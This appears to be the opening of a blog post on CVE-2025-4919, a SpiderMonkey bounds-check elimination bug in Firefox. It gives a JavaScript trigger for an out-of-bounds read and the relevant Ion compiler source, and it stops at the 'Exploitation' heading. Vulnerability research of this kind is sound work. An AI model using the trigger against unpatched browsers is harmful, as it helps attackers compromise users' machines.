> For the complete documentation index, see [llms.txt](https://davi1337.gitbook.io/public/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://davi1337.gitbook.io/public/pwn1day.md).

# Pwn1Day

Hello World!

I'm back again, this time to write a blog post about the bugs I exploited: CVE-2025-4919 and CVE-2025-4918. These vulnerabilities were demonstrated during Pwn2Own 2025.

Using these bugs, I was able to achieve remote code execution (RCE) in the Firefox renderer process through SpiderMonkey.

In this blog post, we will walk through the exploitation of a SpiderMonkey vulnerability—the same vulnerability that was exploited by Manfred Paul during Pwn2Own 2025.

According to the vulnerability write-up, the following scenario can be used to trigger the bug: (<https://www.zerodayinitiative.com/blog/2025/7/14/cve-2025-4919-corruption-via-math-space-in-mozilla-firefox>)

```cjs
let arr = new Uint8Array(2**32);
let out = {x: 42n};
function oobRead(arr, out, idx) {
	let idx1 = (idx+100)|0;
	let idx2 = (idx+(2**31-1))|0;
	let r1 = arr[idx1];
	let r2 = arr[idx2];
	out.x = idx2;
	return r2;
}
for (let i = 0; i < 1000000; i++){
	oobRead(arr, out, -50);
}
console.log(oobRead(arr, out, 2**31-200));
```

The root cause of the vulnerability is an incorrect handling of MathSpace alignment. Specifically, `ExtractLinearSum` performs an unsafe transformation within the Ion compiler. During the `TryEliminateBoundsCheck` optimization pass, the compiler fails to properly preserve the bounds check, ultimately allowing an out-of-bounds (OOB) read/write primitive.

```cpp
static bool TryEliminateBoundsCheck(BoundsCheckMap& checks, size_t blockIndex,
	 MBoundsCheck* dominated, bool* eliminated) {
	 ...
	 MBoundsCheck* dominating =
		FindDominatingBoundsCheck(checks, dominated, blockIndex);
	 ...
	 if (dominating->length() != dominated->length()) {
		return true;
	 }
	 SimpleLinearSum sumA = ExtractLinearSum(dominating->index());
	 SimpleLinearSum sumB = ExtractLinearSum(dominated->index());
	 // Both terms should be nullptr or the same definition.
	 if (sumA.term != sumB.term) {
		return true;
	 }
	 // This bounds check is redundant.
	 *eliminated = true;
	 // Normalize the ranges according to the constant offsets in the two indexes.
	 int32_t minimumA, maximumA, minimumB, maximumB;
	 if (!SafeAdd(sumA.constant, dominating->minimum(), &minimumA) ||
		 !SafeAdd(sumA.constant, dominating->maximum(), &maximumA) ||
		 !SafeAdd(sumB.constant, dominated->minimum(), &minimumB) ||
		 !SafeAdd(sumB.constant, dominated->maximum(), &maximumB)) {
		 return false;
	 }
	 // Update the dominating check to cover both ranges, denormalizing the
	 // result per the constant offset in the index.
	 int32_t newMinimum, newMaximum;
	 if (!SafeSub(std::min(minimumA, minimumB), sumA.constant, &newMinimum) ||
		 !SafeSub(std::max(maximumA, maximumB), sumA.constant, &newMaximum)) {
		 return false;
	 }
	 dominating->setMinimum(newMinimum);
	 dominating->setMaximum(newMaximum);
	 dominating->setBailoutKind(BailoutKind::HoistBoundsCheck);
	 return true;
}
```

(<https://www.zerodayinitiative.com/blog/2025/7/14/cve-2025-4919-corruption-via-math-space-in-mozilla-firefox>)

#### Exploitation
